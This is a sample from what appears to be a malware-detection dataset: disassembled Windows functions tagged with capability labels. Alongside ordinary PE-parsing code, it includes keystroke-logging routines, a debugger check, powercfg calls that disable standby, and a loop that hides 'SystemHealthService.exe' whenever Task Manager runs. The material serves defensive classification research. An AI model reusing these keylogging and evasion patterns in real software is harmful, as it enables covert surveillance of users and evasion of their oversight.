joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400023a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004380]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400023c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400023c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400023c0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000241d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002414
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400023c0
add rax, 0x28
cmp rax, r9
jne 0x140002400
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004380]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000243f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002448
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000243f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400024e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004380]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400024ff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002508
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x1400032a0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400032ea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400032ea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400032ea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400032ea
cmp dword [rcx + 0x84], 0xe
jbe 0x1400032ea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400032ec
xor al, al
add rsp, 0x28
ret
Function at 0x14000c9f0
Capabilities:
Log keystrokes

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x20], 0xfffffffffffffffe
mov rsi, rdx
mov rdi, rcx
lea rcx, [rbp - 0x50]
call fcn.14001f980
mov r13, qword [rbp - 0x48]
mov r14, qword [rbp - 0x38]
cmp r13, r14
je 0x14000cab6
mov rbx, qword [rbp - 0x30]
mov rax, qword [sym.imp.user32.dll_MapVirtualKeyA]
nop
cmp byte [r13], 0
js 0x14000ca54
inc r13
inc rbx
cmp r13, r14
jne 0x14000ca40
jmp 0x14000cab6
movzx ecx, bx
xor edx, edx
call rax
mov r15d, eax
mov ecx, ebx
call fcn.14001fd10
mov r12d, eax
call fcn.14001f8d0
mov qword [rbp + 0x18], rdi
mov qword [rbp - 0x28], 0xd
mov dword [rbp - 0x20], r12d
mov dword [rbp - 0x1c], r15d
mov dword [rbp - 0x18], eax
mov byte [rbp - 0x14], 1
mov dword [rbp - 0x10], 0
mov byte [rbp - 0xc], 1
mov rcx, qword [rsi + 0x18]
add rcx, 0x10
lea rdx, [rbp - 0x28]
call fcn.1400077e0
inc r13
inc rbx
cmp r13, r14
mov rax, qword [sym.imp.user32.dll_MapVirtualKeyA]
jne 0x14000ca40
mov rdx, qword [rbp - 0x40]
test rdx, rdx
je 0x14000cace
mov rcx, qword [rbp - 0x50]
mov r8d, 1
call fcn.14001d4e0
mov r14, qword [rsi + 0x10]
lea rbx, [r14 + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r14 + 0x10], cl
jne 0x14000cb8f
mov r15, qword [0x143732428]
mov rax, qword [r15]
shl rax, 1
test rax, rax
jne 0x14000cb9c
xor eax, eax
movzx ecx, byte [r14 + 0x11]
test cl, cl
jne 0x14000cbb0
mov dword [r14 + 0xdc], 0
test al, al
jne 0x14000cb29
mov rax, qword [r15]
shl rax, 1
test rax, rax
jne 0x14000cbee
xor eax, eax
xchg byte [rbx], al
cmp al, 2
je 0x14000cbe1
mov qword [rbp + 0x18], rdi
mov qword [rbp - 0x28], 0xe
mov dword [rbp - 0x20], 0
mov rcx, qword [rsi + 0x18]
add rcx, 0x10
lea rdx, [rbp - 0x28]
call fcn.1400077e0
mov qword [rbp + 0x18], rdi
mov qword [rbp - 0x28], 0xc
mov byte [rbp - 0x20], 0
mov rcx, qword [rsi + 0x18]
add rcx, 0x10
lea rdx, [rbp - 0x28]
call fcn.1400077e0
nop
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rbx
call fcn.1400458c0
jmp 0x14000cae6
call fcn.1400457f0
xor al, 1
movzx ecx, byte [r14 + 0x11]
test cl, cl
je 0x14000cb0b
mov qword [rbp - 0x28], rbx
mov byte [rbp - 0x20], al
lea rax, [0x140048990]
mov qword [rsp + 0x20], rax
lea rcx, [0x140048758]
lea r9, fcn.14000ba30
lea r8, [rbp - 0x28]
mov edx, 0x2b
call fcn.140046470
ud2
mov rcx, rbx
call fcn.140045980
jmp 0x14000cb35
call fcn.1400457f0
test al, al
jne 0x14000cb29
mov byte [r14 + 0x11], 1
jmp 0x14000cb29
Function at 0x140021ad0
Capabilities:
Log keystrokes via input method manager

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x90
lea rbp, [rsp + 0x80]
mov qword [rbp + 8], 0xfffffffffffffffe
mov edi, r8d
mov rbx, rdx
mov rsi, rcx
xor r15d, r15d
mov rcx, rdx
mov edx, r8d
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.imm32.dll_ImmGetCompositionStringW]
test eax, eax
je 0x140021b59
js 0x140021bbc
mov r14d, eax
mov r15d, eax
movzx eax, byte [0x143732541]
mov edx, 1
mov rcx, r15
call fcn.14001d4d0
test rax, rax
je 0x140021c77
mov r12, rax
mov rcx, rbx
mov edx, edi
mov r8, rax
mov r9d, r14d
call qword [sym.imp.imm32.dll_ImmGetCompositionStringW]
test eax, eax
js 0x140021bab
mov r8d, eax
jmp 0x140021b62
mov r12d, 1
xor r8d, r8d
lea rdx, [r12 + 1]
and rdx, 0xfffffffffffffffe
sub rdx, r12
sub r8, rdx
jae 0x140021b85
mov qword [rbp - 8], r12
mov qword [rbp], r15
mov edx, 2
xor r8d, r8d
jmp 0x140021bdc
mov eax, r8d
and eax, 1
or rax, rdx
je 0x140021bce
movabs rax, 0x8000000000000000
mov qword [rsi], rax
test r15, r15
jne 0x140021c42
jmp 0x140021c64
mov r8d, 1
mov rcx, r12
mov rdx, r15
call fcn.14001d4e0
movabs rax, 0x8000000000000000
mov qword [rsi], rax
jmp 0x140021c64
mov qword [rbp], r15
mov qword [rbp - 8], r12
add rdx, r12
shr r8d, 1
lea rcx, [rbp - 0x60]
call fcn.140028980
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x60]
call fcn.140030780
mov rdx, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
mov rax, rdx
neg rax
jno 0x140021c1b
movups xmm0, xmmword [rbp - 0x30]
movaps xmmword [rbp - 0x20], xmm0
mov qword [rsi], rcx
movaps xmm0, xmmword [rbp - 0x20]
movups xmmword [rsi + 8], xmm0
mov r15, qword [rbp]
jmp 0x140021c39
movabs rax, 0x8000000000000000
mov qword [rsi], rax
mov r15, qword [rbp]
jae 0x140021c39
mov r8d, 1
call fcn.14001d4e0
mov r12, qword [rbp - 8]
test r15, r15
je 0x140021c64
mov r8d, 1
mov rcx, r12
mov rdx, r15
add rsp, 0x90
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
jmp fcn.14001d4e0
nop
add rsp, 0x90
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
mov ecx, 1
mov rdx, r15
call fcn.140045f40
int3

Function at 0x140021d50
Capabilities:
Register raw input devices

Disassembly:
sub rsp, 0x48
movzx edx, dl
test dl, dl
je 0x140021d67
cmp edx, 1
jne 0x140021d71
mov eax, 0x2000
jmp 0x140021d76
mov eax, 1
mov rcx, rdx
jmp 0x140021d76
mov eax, 0x2100
mov dword [rsp + 0x28], 0x20001
mov dword [rsp + 0x2c], eax
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x38], 0x60001
mov dword [rsp + 0x3c], eax
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x28]
mov edx, 2
mov r8d, 0x10
call qword [sym.imp.user32.dll_RegisterRawInputDevices]
cmp eax, 1
sete al
add rsp, 0x48
ret
Function at 0x1400222e0
Capabilities:
Log keystrokes

Disassembly:
push rsi
sub rsp, 0x70
mov rsi, rcx
mov ecx, 0x12
xor edx, edx
call qword [sym.imp.user32.dll_MapVirtualKeyW]
mov dword [rsp + 0x20], 1
mov word [rsp + 0x28], 0xa4
mov word [rsp + 0x2a], ax
mov qword [rsp + 0x2c], 1
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x48], 1
mov word [rsp + 0x50], 0xa4
mov word [rsp + 0x52], ax
mov qword [rsp + 0x54], 3
mov qword [rsp + 0x60], 0
lea rdx, [rsp + 0x20]
mov ecx, 2
mov r8d, 0x28
call qword [sym.imp.user32.dll_SendInput]
mov rcx, rsi
call qword [sym.imp.user32.dll_SetForegroundWindow]
nop
add rsp, 0x70
pop rsi
ret

Function at 0x140026260
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3d0], rcx
mov qword [rbp + 0x3d8], 0
mov qword [rbp + 0x3e0], 2
mov qword [rbp + 0x3e8], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3c8], rax
xor esi, esi
xor edi, edi
xor ebx, ebx
cmp r8, 0x201
jae 0x140026300
jmp 0x1400262ef
jae 0x1400263ce
cmp r8, 0x201
jae 0x140026300
mov r14d, 0x200
lea r15, [rbp - 0x58]
mov r12, r8
jmp 0x140026366
sub r8, rbx
sub rdi, rbx
cmp rdi, r8
jae 0x14002633e
mov qword [rsp + 0x20], 2
mov r9d, 2
lea rcx, [rbp + 0x3d8]
mov rdx, rbx
call fcn.140045430
mov rsi, qword [rbp + 0x3d8]
mov rax, qword [rbp + 0x3e0]
mov qword [rbp + 0x3c8], rax
mov eax, 0xffffffff
cmp rsi, rax
mov ebx, 0xffffffff
cmovb rbx, rsi
mov qword [rbp + 0x3e8], rbx
mov rdi, rsi
mov r14, rbx
mov r15, qword [rbp + 0x3c8]
mov r12, rbx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov ecx, r12d
mov rdx, r15
call qword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
mov r13d, eax
test eax, eax
jne 0x14002638f
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x14002643a
mov r8d, r13d
cmp r12, r8
jne 0x1400262e0
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x14002646e
add r12, r12
mov eax, 0xffffffff
cmp r12, rax
cmovae r12, rax
mov r8, r12
cmp r8, 0x201
jb 0x1400262ef
jmp 0x140026300
cmp r14, r8
jb 0x140026488
lea rcx, [rbp + 0x3a8]
mov rdx, r15
call fcn.140028980
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3d0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rdx, qword [rbp + 0x3d8]
test rdx, rdx
je 0x140026423
mov rcx, qword [rbp + 0x3e0]
add rdx, rdx
mov r8d, 2
call fcn.14001d4e0
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3d0]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
mov rdx, qword [rbp + 0x3d8]
test rdx, rdx
jne 0x14002640e
jmp 0x140026423
lea rcx, [0x14371f960]
lea r8, [0x143721948]
mov edx, 0x28
call fcn.140046180
jmp 0x14002649d
lea rax, [0x143721930]
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.140046570
ud2
Function at 0x14002eb30
Capabilities:
Create directory

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x70
lea rbp, [rsp + 0x70]
mov r8, rdx
mov rdx, rcx
lea rcx, [rbp - 0x18]
call fcn.140030230
mov rax, qword [rbp - 0x18]
mov rsi, qword [rbp - 0x10]
mov rcx, rax
neg rcx
jo 0x14002eb8b
mov rcx, qword [rbp - 8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x20], rcx
lea rcx, [rbp - 0x48]
lea rdx, [rbp - 0x30]
mov r8b, 1
call fcn.140031010
mov rdi, qword [rbp - 0x48]
mov rsi, qword [rbp - 0x40]
mov rax, rdi
neg rax
jno 0x14002eb96
mov rax, rsi
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
mov rcx, rsi
xor edx, edx
call qword [sym.imp.kernel32.dll_CreateDirectoryW]
test eax, eax
je 0x14002ebc2
test rdi, rdi
je 0x14002ebee
add rdi, rdi
mov r8d, 2
mov rcx, rsi
mov rdx, rdi
call fcn.14001d4e0
xor eax, eax
jmp 0x14002eb8e
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
test rdi, rdi
je 0x14002eb8e
add rdi, rdi
mov r8d, 2
mov rcx, rsi
mov rdx, rdi
mov rsi, rax
call fcn.14001d4e0
jmp 0x14002eb8b
xor eax, eax
jmp 0x14002eb8e

Function at 0x14002f090
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
mov rsi, rcx
mov rax, qword [rbp + 0x70]
mov qword [rbp - 8], r9
lea rcx, [rbp]
mov qword [rbp], rax
movups xmm0, xmmword [0x143721398]
movaps xmmword [rbp + 0x10], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
xor r8d, r8d
test r9b, 1
cmove rcx, r8
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x40], 0
mov rcx, rsi
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14002f126
mov rcx, rsi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rbp + 0x10]
cmp eax, 0x103
je 0x14002f153
test eax, eax
js 0x14002f132
mov rdx, qword [rbp + 0x18]
xor eax, eax
jmp 0x14002f149
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xb8
pop rsi
pop rbp
ret
mov dword [rbp + 0x28], 0
mov byte [rbp + 0x2c], 0
lea rax, [0x1437213f8]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [rbp + 0x30]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp + 0x28]
lea rdx, [rbp - 0x38]
call fcn.1400285a0
mov qword [rbp + 8], rax
lea rcx, [rbp + 8]
call fcn.140024040
mov ecx, 7
int 0x29
ud2
Function at 0x14000cbe0
Capabilities:
Check for software breakpoints

Disassembly:
mov rax, qword [rcx + 0x20]
mov r9, qword [rcx + 0x28]
cmp r9, rax
jne 0x14000cc11
jmp 0x14000cc4e
cmp edx, 0xcc
ja 0x14000cc50
jne 0x14000cc08
mov r8d, dword [rcx + 0x64]
mov edx, dword [rcx + 0x68]
mov dword [rax + 0x24], r8d
mov dword [rax + 0x28], edx
add rax, 0x30
cmp r9, rax
je 0x14000cc4e
movzx edx, byte [rax]
cmp edx, 0xe2
jbe 0x14000cbf0
sub edx, 0xe3
mov r8d, edx
shl r8d, 0x10
add r8d, dword [rcx + 0x6c]
cmp edx, 5
lea r10d, [r8 + 0xffff]
jne 0x14000cc3d
mov r10d, dword [rcx + 0x70]
mov dword [rax + 0x24], r8d
add rax, 0x30
mov dword [rax - 8], r10d
cmp r9, rax
jne 0x14000cc11
ret
cmp edx, 0xcd
je 0x14000cc80
lea r8d, [rdx - 0xc0]
shl r8d, 0x10
cmp edx, 0xcf
lea r10d, [r8 + 0xffff]
jne 0x14000cc3d
mov r10d, dword [rcx + 0x60]
jmp 0x14000cc3d
mov edx, dword [rcx + 0x5c]
mov dword [rax + 0x28], 0xdffff
mov dword [rax + 0x24], edx
jmp 0x14000cc08
Function at 0x140053470
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x1400b2900]
xor edx, edx
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x1400534df
mov rcx, r9
call fcn.140053340
test eax, eax
je 0x1400534df
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
lea rdx, [r9 + rax + 0x18]
movzx eax, word [r9 + 6]
test eax, eax
je 0x1400534dd
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x1400534d4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400534df
add rdx, 0x28
cmp rdx, r9
jne 0x1400534c0
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140005500]
mov dword [rax], 1
mov rax, qword [0x140005510]
mov dword [rax], 1
mov rax, qword [0x140005520]
mov dword [rax], 1
mov rax, qword [0x1400054c0]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001a00
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.140002d60
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x1400026d2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140009168]
test eax, eax
je 0x14000276a
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140009170]
mov qword [rbp - 8], rax
jmp 0x14000274e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002742
cmp qword [rbp - 0x10], 0
je 0x140002742
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002708
lea rax, [0x140009140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000276b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x140002870
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002898
mov eax, 0
jmp 0x1400028e6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400028c1
mov eax, 0
jmp 0x1400028e6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x1400028e1
mov eax, 0
jmp 0x1400028e6
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x1400028ec
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14000296a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140002961
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140002961
mov rax, qword [rbp - 8]
jmp 0x14000297f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140002934
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400032e0
Capabilities:
Enumerate processes

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x158
xor eax, eax
mov ecx, 0x4c
xor edx, edx
lea rdi, [rsp + 0x20]
rep stosd dword [rdi], eax
mov ecx, 2
mov dword [rsp + 0x20], 0x130
lea rdi, [rsp + 0x20]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
mov rbx, rax
je 0x140003372
mov rdx, rdi
mov rcx, rax
lea rbp, [rsp + 0x4c]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x140003369
lea rsi, str.Taskmgr.exe
mov rdx, qword [rsi]
test rdx, rdx
je 0x14000335c
mov rcx, rbp
add rsi, 8
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x140003336
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140003374
mov rdx, rdi
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
jmp 0x14000332b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x158
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x140003380
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0x430
lea r8, str._c__s
mov edx, 0x400
lea rbx, [rsp + 0x30]
mov r9, rcx
mov rcx, rbx
call fcn.140002db0
xor eax, eax
xor edx, edx
mov r9, rbx
mov qword [rsp + 0x20], rdx
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
mov dword [rsp + 0x28], eax
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
add rsp, 0x430
pop rbx
ret
Function at 0x1400033e0
Capabilities:
Create process on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
xor eax, eax
xor edx, edx
lea rsi, str.open
mov rbx, qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
lea r9, str._c_powercfg__change_standby_timeout_ac_0__nul_2_1
lea r8, str.cmd.exe
mov qword [rsp + 0x20], rdx
mov rdx, rsi
mov dword [rsp + 0x28], eax
call rbx
xor ecx, ecx
xor r8d, r8d
lea r9, str._c_powercfg__S_e9a42b02_d5df_448d_aa00_03f14749eb61__nul_2_1
mov dword [rsp + 0x28], ecx
mov rdx, rsi
xor ecx, ecx
mov qword [rsp + 0x20], r8
lea r8, str.cmd.exe
call rbx
nop
add rsp, 0x38
pop rbx
pop rsi
ret

Function at 0x140003450
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x150
xor eax, eax
xor edx, edx
xor esi, esi
mov rbp, rcx
lea rdi, [rsp + 0x20]
mov ecx, 0x4c
rep stosd dword [rdi], eax
mov ecx, 2
mov dword [rsp + 0x20], 0x130
lea rdi, [rsp + 0x20]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
mov rbx, rax
je 0x1400034fe
mov rdx, rdi
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1400034f5
lea rcx, [rsp + 0x4c]
mov rdx, rbp
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x1400034e8
mov r8d, dword [rsp + 0x28]
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r12, rax
test rax, rax
je 0x1400034e8
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, r12
test eax, eax
mov al, 1
cmovne esi, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, rdi
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
jmp 0x14000349d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
add rsp, 0x150
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x140003550
Capabilities:
Terminate process

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
call fcn.140001787
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140003572
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1400033e0
movzx r8d, byte [0x140004040]
mov edx, 0xff
lea rcx, [0x140004060]
call fcn.140003510
mov rsi, rax
test rax, rax
je 0x140003567
mov rdi, qword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
lea rbp, str.SystemHealthService.exe
call fcn.1400032e0
test al, al
je 0x1400035c3
test bl, bl
jne 0x1400035b9
xor ebx, ebx
jmp 0x1400035d1
mov rcx, rbp
call fcn.140003450
jmp 0x1400035b5
test bl, bl
jne 0x1400035cf
mov rcx, rsi
call fcn.140003380
mov bl, 1
mov ecx, 0x3e8
call rdi
jmp 0x1400035a8